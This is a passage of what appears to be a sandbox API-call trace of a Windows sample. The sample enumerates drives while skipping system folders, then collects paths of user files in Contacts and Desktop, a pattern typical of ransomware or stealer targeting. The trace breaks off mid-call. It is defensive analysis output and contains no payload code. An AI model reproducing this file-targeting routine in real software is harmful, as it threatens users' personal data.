[0121.629] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.629] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.629] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.629] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.629] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.629] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0121.629] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0121.629] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0121.629] lstrlenW (lpString="Java Update") returned 11 [0121.629] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="Java Update" | out: lpString1="c:\\ProgramData\\Sun\\Java\\Java Update") returned="c:\\ProgramData\\Sun\\Java\\Java Update" [0121.629] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.629] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.629] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.629] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.629] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.629] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0121.629] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0121.629] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.629] lstrlenW (lpString="Templates") returned 9 [0121.629] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Templates") returned="c:\\ProgramData\\Templates" [0121.629] lstrcatW (in: lpString1="c:\\ProgramData\\Templates", lpString2="\\" | out: lpString1="c:\\ProgramData\\Templates\\") returned="c:\\ProgramData\\Templates\\" [0121.629] lstrlenW (lpString="c:\\ProgramData\\Templates\\") returned 25 [0121.629] lstrcatW (in: lpString1="c:\\ProgramData\\Templates\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Templates\\*") returned="c:\\ProgramData\\Templates\\*" [0121.629] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Templates\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.629] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0 [0121.629] FindClose (in: hFindFile=0x8256e0 | out: hFindFile=0x8256e0) returned 1 [0121.629] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0121.629] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0121.629] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0121.629] lstrcmpW (lpString1="Recovery", lpString2="Windows") returned -1 [0121.629] lstrcmpW (lpString1="Recovery", lpString2="Program Files") returned 1 [0121.629] lstrlenW (lpString="c:\\") returned 3 [0121.629] lstrlenW (lpString="Recovery") returned 8 [0121.629] lstrcatW (in: lpString1="c:\\", lpString2="Recovery" | out: lpString1="c:\\Recovery") returned="c:\\Recovery" [0121.629] lstrcatW (in: lpString1="c:\\Recovery", lpString2="\\" | out: lpString1="c:\\Recovery\\") returned="c:\\Recovery\\" [0121.629] lstrlenW (lpString="c:\\Recovery\\") returned 12 [0121.629] lstrcatW (in: lpString1="c:\\Recovery\\", lpString2="*" | out: lpString1="c:\\Recovery\\*") returned="c:\\Recovery\\*" [0121.630] FindFirstFileW (in: lpFileName="c:\\Recovery\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0xffffffff [0121.630] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0121.630] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0121.630] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0121.630] lstrcmpW (lpString1="System Volume Information", lpString2="Windows") returned -1 [0121.630] lstrcmpW (lpString1="System Volume Information", lpString2="Program Files") returned 1 [0121.630] lstrlenW (lpString="c:\\") returned 3 [0121.630] lstrlenW (lpString="System Volume Information") returned 25 [0121.630] lstrcatW (in: lpString1="c:\\", lpString2="System Volume Information" | out: lpString1="c:\\System Volume Information") returned="c:\\System Volume Information" [0121.630] lstrcatW (in: lpString1="c:\\System Volume Information", lpString2="\\" | out: lpString1="c:\\System Volume Information\\") returned="c:\\System Volume Information\\" [0121.630] lstrlenW (lpString="c:\\System Volume Information\\") returned 29 [0121.630] lstrcatW (in: lpString1="c:\\System Volume Information\\", lpString2="*" | out: lpString1="c:\\System Volume Information\\*") returned="c:\\System Volume Information\\*" [0121.630] FindFirstFileW (in: lpFileName="c:\\System Volume Information\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0xffffffff [0121.630] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0121.630] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0121.630] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0121.630] lstrcmpW (lpString1="Users", lpString2="Windows") returned -1 [0121.630] lstrcmpW (lpString1="Users", lpString2="Program Files") returned 1 [0121.630] lstrlenW (lpString="c:\\") returned 3 [0121.630] lstrlenW (lpString="Users") returned 5 [0121.630] lstrcatW (in: lpString1="c:\\", lpString2="Users" | out: lpString1="c:\\Users") returned="c:\\Users" [0121.631] lstrcatW (in: lpString1="c:\\Users", lpString2="\\" | out: lpString1="c:\\Users\\") returned="c:\\Users\\" [0121.631] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.631] lstrcatW (in: lpString1="c:\\Users\\", lpString2="*" | out: lpString1="c:\\Users\\*") returned="c:\\Users\\*" [0121.631] FindFirstFileW (in: lpFileName="c:\\Users\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0x8256e0 [0121.631] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.631] lstrcmpW (lpString1="aETAdzjz", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="aETAdzjz", lpString2="..") returned 1 [0121.631] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.631] lstrlenW (lpString="aETAdzjz") returned 8 [0121.631] lstrcatW (in: lpString1="c:\\Users\\", lpString2="aETAdzjz" | out: lpString1="c:\\Users\\aETAdzjz") returned="c:\\Users\\aETAdzjz" [0121.631] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\") returned="c:\\Users\\aETAdzjz\\" [0121.631] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.631] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\*") returned="c:\\Users\\aETAdzjz\\*" [0121.631] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.631] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.631] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0121.631] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.631] lstrlenW (lpString="AppData") returned 7 [0121.631] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="AppData" | out: lpString1="c:\\Users\\aETAdzjz\\AppData") returned="c:\\Users\\aETAdzjz\\AppData" [0121.631] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\") returned="c:\\Users\\aETAdzjz\\AppData\\" [0121.631] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0121.631] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\*") returned="c:\\Users\\aETAdzjz\\AppData\\*" [0121.631] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\AppData\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.631] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.631] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.631] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0121.631] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0121.631] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0121.631] lstrlenW (lpString="Local") returned 5 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Local" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Local") returned="c:\\Users\\aETAdzjz\\AppData\\Local" [0121.632] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.632] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0121.632] lstrlenW (lpString="LocalLow") returned 8 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="LocalLow" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\LocalLow") returned="c:\\Users\\aETAdzjz\\AppData\\LocalLow" [0121.632] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.632] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0121.632] lstrlenW (lpString="Roaming") returned 7 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Roaming" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Roaming") returned="c:\\Users\\aETAdzjz\\AppData\\Roaming" [0121.632] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.632] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.632] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.632] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.632] lstrlenW (lpString="Application Data") returned 16 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Application Data" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data") returned="c:\\Users\\aETAdzjz\\Application Data" [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\") returned="c:\\Users\\aETAdzjz\\Application Data\\" [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Application Data\\") returned 35 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\*") returned="c:\\Users\\aETAdzjz\\Application Data\\*" [0121.632] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Application Data\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.632] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.632] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.632] lstrlenW (lpString="Contacts") returned 8 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Contacts" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts") returned="c:\\Users\\aETAdzjz\\Contacts" [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\") returned="c:\\Users\\aETAdzjz\\Contacts\\" [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.632] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\*") returned="c:\\Users\\aETAdzjz\\Contacts\\*" [0121.632] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Contacts\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.632] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.632] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.632] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.632] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.632] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1 [0121.632] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1 [0121.632] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned 50 [0121.633] lstrcpyW (in: lpString1=0x24a4cd0, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="Administrator.contact", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="Administrator.contact", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="Administrator.contact") returned 21 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned 48 [0121.633] lstrcpyW (in: lpString1=0x24a4d40, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned 48 [0121.633] lstrcpyW (in: lpString1=0x24a4db0, lpString2="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned 47 [0121.633] lstrcpyW (in: lpString1=0x24aa9d8, lpString2="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="desktop.ini") returned 11 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned 38 [0121.633] lstrcpyW (in: lpString1=0x24aaa40, lpString2="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.633] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0121.633] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned 48 [0121.633] lstrcpyW (in: lpString1=0x24a4e20, lpString2="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0121.633] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.633] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1 [0121.633] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1 [0121.633] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0121.634] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned 48 [0121.634] lstrcpyW (in: lpString1=0x24a4e90, lpString2="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0121.634] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.634] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.634] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.634] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0121.634] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.634] lstrlenW (lpString="Cookies") returned 7 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Cookies" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies") returned="c:\\Users\\aETAdzjz\\Cookies" [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\") returned="c:\\Users\\aETAdzjz\\Cookies\\" [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Cookies\\") returned 26 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\*") returned="c:\\Users\\aETAdzjz\\Cookies\\*" [0121.634] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Cookies\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.634] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.634] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0121.634] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.634] lstrlenW (lpString="Desktop") returned 7 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Desktop" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop") returned="c:\\Users\\aETAdzjz\\Desktop" [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\") returned="c:\\Users\\aETAdzjz\\Desktop\\" [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\*") returned="c:\\Users\\aETAdzjz\\Desktop\\*" [0121.634] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Desktop\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.634] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.634] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.634] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.634] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.634] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.634] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2=".") returned 1 [0121.634] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2="..") returned 1 [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.634] lstrlenW (lpString="0B2i4zUHRYI3kPPp6Y.avi") returned 22 [0121.634] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned 48 [0121.634] lstrcpyW (in: lpString1=0x24a4f00, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0121.634] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.634] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2=".") returned 1 [0121.634] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2="..") returned 1 [0121.634] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.634] lstrlenW (lpString="0dhb1lQ5Yot7UDpqiLV.rtf") returned 23 [0121.635] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned 49 [0121.635] lstrcpyW (in: lpString1=0x24a4f70, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0121.635] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.635] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2=".") returned 1 [0121.635] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2="..") returned 1 [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.635] lstrlenW (lpString="0Mck7qEx.odt") returned 12 [0121.635] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0Mck7qEx.odt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned 38 [0121.635] lstrcpyW (in: lpString1=0x24aaa98, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" | out: 